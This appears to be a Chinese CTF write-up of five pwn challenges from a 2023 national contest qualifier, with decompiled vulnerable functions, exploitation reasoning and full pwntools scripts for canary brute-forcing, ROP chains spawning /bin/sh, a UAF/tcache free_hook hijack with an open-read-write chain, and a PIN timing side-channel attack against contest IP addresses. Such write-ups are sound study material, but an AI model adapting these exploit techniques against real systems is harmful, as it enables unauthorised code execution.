0%

国赛-初赛2023

funcanary

1
2
3
4
5
6
funcanary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cc48b58555840ef369e5cd0f23a7e8779c021af7, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
unsigned __int64 pwn()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 canary; // [rsp+68h] [rbp-8h]

canary = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return canary - __readfsqword(0x28u);
}
  • 栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t fd; // [rsp+Ch] [rbp-4h]

init();
while ( 1 )
{
fd = fork();
if ( fd < 0 )
break;
if ( fd )
{
wait(0LL);
}
else
{
puts("welcome");
pwn();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
  • 多进程可以爆破 canary
1
2
3
4
int sub_1229()
{
return system("/bin/cat flag");
}
  • 有后门

入侵思路

先爆破 canary,然后打栈

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './funcanary'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x12B6)\n")
pause()

def cmd(op):
p.sendline(str(op))

#debug()
canary = "\x00"
back_addr = 0x0231

for j in range(7): #32位为‘3’,64位为‘7’
for i in range(0x100):
print(i)
payload = "a"*104+canary+chr(i)
p.recvuntil('welcome')
p.send(payload) #从0~0xFF,依次注入
a = p.recvuntil('*** stack smashing detected ***',timeout=0.5)
print(a)
if len(a) == 0: #一次性不覆盖全部的canary,而是覆盖1字节
canary += chr(i)
success("canary >> "+canary)
success("canary len >> "+str(len(canary)))
break

success("canary >> "+canary)
#debug()
for i in range(0xf):
success("back_addr >> "+hex(back_addr+0x1000*i))
payload = "a"*104+canary+p64(0)+p16(back_addr+0x1000*i)
sa("welcome",payload)
a=p.recv()
if b'flag{' in a:
print(a)
break

p.interactive()

shaokao

1
2
3
4
5
6
shaokao: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2867805c3d477c70c169e3106f70255b7b4e8ffa, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,statically,Partial RELRO,Canary,NX

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 chuan()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int v2; // [rsp+Ch] [rbp-4h] BYREF

v2 = 1;
v1 = 1;
puts("1. 羊肉串");
puts("2. 牛肉串");
puts("3. 鸡肉串");
_isoc99_scanf((__int64)"%d", &v2);
puts("来几串?");
_isoc99_scanf((__int64)"%d", &v1);
if ( 5 * v1 >= money )
puts("诶哟,钱不够了");
else
money -= 5 * v1;
return 0LL;
}
  • 负数溢出
1
2
3
4
5
6
7
8
9
__int64 gaiming()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF

puts("烧烤摊儿已归你所有,请赐名:");
_isoc99_scanf((__int64)"%s", v1);
j_strcpy_ifunc(name, v1);
return 0LL;
}
  • 栈溢出

入侵思路

通过负数溢出绕过获取栈溢出,直接 ROP

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './shaokao'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x401FAE\n")
#gdb.attach(p,"b *$rebase(0x269F)\n")
pause()

def cmd(op):
p.sendline(str(op))

def buy():
sla("> ","1")
sla("3. 勇闯天涯","1")
sla("来几瓶?","-100000")

def show():
sla("> ","3")

def vip():
sla("> ","4")

def game(data):
sla("> ","5")
sla("烧烤摊儿已归你所有,请赐名:",data)

debug()

show()
buy()
show()
vip()

syscall = 0x458919
pop_rax = 0x0000000000458827
pop_rdi = 0x000000000040264f
pop_rsi = 0x000000000040a67e
pop_rdx = 0x00000000004a404b

binssh = 0x4E60F0

payload = "/bin/sh;"+"a"*0x20
payload += p64(pop_rdi) +p64(0x4E60F0)+p64(pop_rax)+p64(59)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(0)+p64(syscall)
game(payload)

p.interactive()

shellwego

1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=SuxJivkd2dvJbgrdOCZT/N0LJWS-KaWam2n_aHm00/XCCoLNUmWNjMS_l2-7QG/Mo580T0hsQ-JQlJwgRB_, stripped
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,statically,NX

程序分析

GO 语言的逆向

在执行命令之前需要先绕过加密,核心加密代码在如下函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
_QWORD *__fastcall flnall(__int64 a1, __int64 a2)
{
signed __int64 v2; // rax
__int64 v3; // r14
signed __int64 v4; // rbx
__int64 v5; // rdx
__int64 v6; // rax
unsigned __int64 v7; // rdi
__int64 v8; // rsi
__int64 v9; // rbx
__int64 v10; // rdx
_QWORD *result; // rax
char v12[14]; // [rsp+12h] [rbp-46h] BYREF
__int64 v13; // [rsp+40h] [rbp-18h]
__int64 v14; // [rsp+48h] [rbp-10h] BYREF

if ( (unsigned __int64)&v14 <= *(_QWORD *)(v3 + 16) )
sub_45FFC0();
v4 = v2;
v13 = sub_44DA80();
sub_4496A0(a1, a2, v5, v4);
v14 = v6;
qmemcpy(v12, "F1nallB1rd3K3y", sizeof(v12));
sub_476B00();
v7 = v4;
v8 = v13;
sub_476C20();
v9 = v14;
result = (_QWORD *)code(v7, v8, v10, v7); // 核心加密函数
if ( !shell_key && v9 == 16 && *result == 0x5362703858494C4ALL && result[1] == 0x4761572F755A5976LL )
{
result = (_QWORD *)sub_49B0C0();
shell_key = 1LL;
}
return result;
}

逆向脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
from Crypto.Cipher import ARC4

def decrypt_data(key, encrypted_data):
decoded_data = base64.b64decode(encrypted_data)
cipher = ARC4.new(key)
decrypted_data = cipher.decrypt(decoded_data)
return decrypted_data

key = b'F1nallB1rd3K3y'
encrypted_data = b'JLIX8pbSvYZu/WaG'

decrypted_data = decrypt_data(key, encrypted_data)

print(decrypted_data)
  • 结果:S33UAga1n@#!

单步调试程序可以发现验证命令为:cert nAcDsMicN S33UAga1n@#!

漏洞分析

漏洞点在 echo 命令中:

echo 命令拥有一片 0x200 大小的缓冲区,并且限制了输出长度的 0x200

但是该 echo 命令可以将多个以空格为间隔的字符串进行拼接,并统一放入缓冲区中,echo 只对单一的一个字符串进行了长度检查,因此可以使用 echo xxxx xxxx 的形式进行栈溢出

  • PS:这里存在一个小问题,在栈溢出的过程中可能会覆盖程序的关键指针从而导致段错误,不过程序提供了 + 字符来处理这个问题(在覆盖数据时,程序会跳过 + 字符)

入侵思路

通过这一个栈溢出就可以打 ROP,执行 syscall 就可以了(直接写入 /bin/sh 即可,该程序的栈随机化比较轻微,有概率命中 /bin/sh 的地址)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('39.105.187.49','35528')

def debug():
gdb.attach(p,"b *0x4C18A0")
#gdb.attach(p,"b *$rebase(0x269F)\n")
pause()

def cmd(op):
p.sendline(str(op))

# cert nAcDsMicN S33UAga1n@#!

p.sendline("cert nAcDsMicN S33UAga1n@#!")
p.sendline("/bin/sh\x00")

pop_rdi = 0x0000000000444fec
pop_rax = 0x000000000040d9e6
pop_rsi = 0x000000000041e818
pop_rdx = 0x000000000049e11d
syscall = 0x000000000040328c

system_addr = 0x4C1B1A
binsh_addr = 0xc000020190

#debug()

payload = "echo "+"a"*(0x200)+" "+"\x00"*(3)
payload += "+"*8*4
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(pop_rdi) + p64(binsh_addr)
payload += p64(syscall)

p.sendline(payload)
p.interactive()

talkbot

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9201a3cb37f7572f96499f58c70901a874591275, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

漏洞分析

1
2
3
4
5
6
7
8
void __fastcall dele(__int64 index)
{
if ( (&chunk_list)[index] )
{
free((&chunk_list)[index]);
data[index] = 0;
}
}
  • UAF

入侵思路

开了沙盒,因此需要打堆上 ORW,不过在此之前需要先绕过一个加密

逆向了很久也得不出加密逻辑,后来观察加密代码感觉有点像反序列化(比赛时脑袋有点糊了,没有凑出反序列化的格式)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // [rsp+0h] [rbp-10h]
__int64 v4; // [rsp+8h] [rbp-8h]

sub_1763(a1, a2, a3);
while ( 1 )
{
memset(&unk_A060, 0, 0x400uLL);
puts("You can try to have friendly communication with me now: ");
v3 = read(0, &unk_A060, 0x400uLL);
v4 = code(0LL, v3, (__int64)&unk_A060);
if ( !v4 )
break;
sub_155D(
*(_QWORD *)(v4 + 24),
*(_QWORD *)(v4 + 32),
*(_QWORD *)(v4 + 40),
*(_QWORD *)(v4 + 48),
*(_QWORD *)(v4 + 56));
}
sub_1329();
}

由于这不是传统的 protobuf 程序,因此不能使用 pbtk

通过逆向 + 调试 + 猜测,得出了以下格式:

1
2
3
4
5
6
7
8
9
syntax = "proto3";
//actionid msgidx msgsize msgcontent

message Chunk {
sint64 actionid = 1;
sint64 msgidx = 2;
sint64 msgsize = 3;
bytes msgcontent = 4;
}
  • 这里补充几个合理的 protobuf 序列:
1
2
3
b'\x08\x02\x10\x04\x18\xa0\x02"\x90\x01aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
b'\x08\x02\x10\x06\x18\xa0\x02"\x90\x01aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
b'\x08\x02\x10\x08\x18\xa0\x02"\x90\x01aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
  • 0x08 0x10 0x18 分别代表 actionid msgidx msgsize 的累加长度
  • 0x90 则代表 msgcontent 的长度

拥有 UAF 可以轻松完成泄露

然后写入 ORW,计算好偏移地址

最后打一个 tcache attack,劫持 free_hook 为 malloc_gadget

1
0x0000000000151990: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn2'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('123.56.116.45','15075')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x1805)\n")
#pause()

import chunk_pb2

def cmd(op):
sa("now: ",op)

def add(index,size,data):
chunk = chunk_pb2.Chunk()
chunk.actionid = 1
chunk.msgidx = index+1
chunk.msgsize = size
chunk.msgcontent = data
op = chunk.SerializeToString()
cmd(op)

def show(index):
chunk = chunk_pb2.Chunk()
chunk.actionid = 3
chunk.msgsize = 1
chunk.msgidx = index+1
chunk.msgcontent = b"1"
op = chunk.SerializeToString()
cmd(op)

def edit(index,data):
chunk = chunk_pb2.Chunk()
chunk.actionid = 2
chunk.msgidx = index+1
chunk.msgsize = 1
chunk.msgcontent = data
op = chunk.SerializeToString()
cmd(op)

def dele(index):
chunk = chunk_pb2.Chunk()
chunk.actionid = 4
chunk.msgidx = index+1
chunk.msgsize = 1
chunk.msgcontent = b"2"
op = chunk.SerializeToString()
cmd(op)

#debug()

for i in range(11):
add(i,0x90,b"a"*0x90)

for i in range(7):
dele(i)

dele(7)
dele(9)

show(7)
p.recvuntil("\n")
p.recv(0x70)
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x1ecc00
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr - 0x390
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base+libc.sym["__free_hook"]
system = libc_base+libc.sym["system"]
one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = libc_base+one_gadgets[2]
set_context = libc_base+libc.sym["setcontext"]+61
#svcudp_reply = libc_base+libc.sym['svcudp_reply']+26
magic_gadget = libc_base+0x0000000000151990
#0x0000000000151990: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

success("free_hook >> "+hex(free_hook))
success("system >> "+hex(system))
success("set_context >> "+hex(set_context))
#success("svcudp_reply >> "+hex(svcudp_reply))
success("magic_gadget >> "+hex(magic_gadget))

start_addr = heap_base + 0x1840
ORW_addr = heap_base + 0x18c8
flag_addr = heap_base + 0x1968

pop_rax_ret = 0x0000000000036174+libc_base
pop_rdi_ret = 0x0000000000023b6a+libc_base
pop_rsi_ret = 0x000000000002601f+libc_base
pop_rdx_ret = 0x0000000000142c92+libc_base
syscall_ret = 0x91024+libc_base
ret = pop_rax_ret+1

add(3,0x20,b"a"*0x20)

payload = p64(set_context)
payload += b"a"*(0x38-0x20)
success("payload len >> "+hex(len(payload)))
add(2,len(payload),payload)

payload = p64(ORW_addr) + p64(ret)
# open(heap_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(syscall_ret)
# read(3,heap_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(flag_addr-0x200)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,heap_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(syscall_ret)
payload += b"./flag".ljust(8,b"\x00")
success("payload len >> "+hex(len(payload)))
add(1,len(payload),payload)

heap_addr =heap_base + 0x390
payload = b"a"*0x50 + p64(heap_addr)
edit(0,payload)

payload = p64(free_hook)+p64(0)
edit(6,payload)

payload = p64(0)+p64(start_addr-0x20)
add(12,0x90,payload)
add(13,0x90,p64(magic_gadget))
dele(12)

p.interactive()

login

本题目无附件

入侵思路

比赛时发现有无限栈溢出,于是猜测是多线程覆盖 TLS 的那种 canary 题目

然后发现好像只能爆破 PIN 值,于是想找个弱密码字典进行爆破(没有找到合适的)

后来看 wp 才发现这题要打侧信道(比赛时想到了这个方法,但由于对侧信道的理解不够深刻,于是忽略了这个方法)

侧信道攻击:当输入的 PIN 值的某一位与正确 PIN 值的对应位不同时,可能会导致系统的某些操作或计算需要更多的时间,通过观察时间戳的差异,攻击者可以推断出某一位是否正确

由于题目环境已经关闭,不能对 exp 进行调试

非完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from sys import argv

challenge = ""

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

def check(num):
sla("> ",str(3))
sla("PIN code: ",str(num))

local = 0
if local:
p = process(challenge)
else:
p = remote('39.105.187.49','35546')

num = "0000000" # change

for i in range(10):
check(str(i)+num)
start=time.time()
rev=p.recvuntil('\n')
end=time.time()
print(end - start)

p.interactive()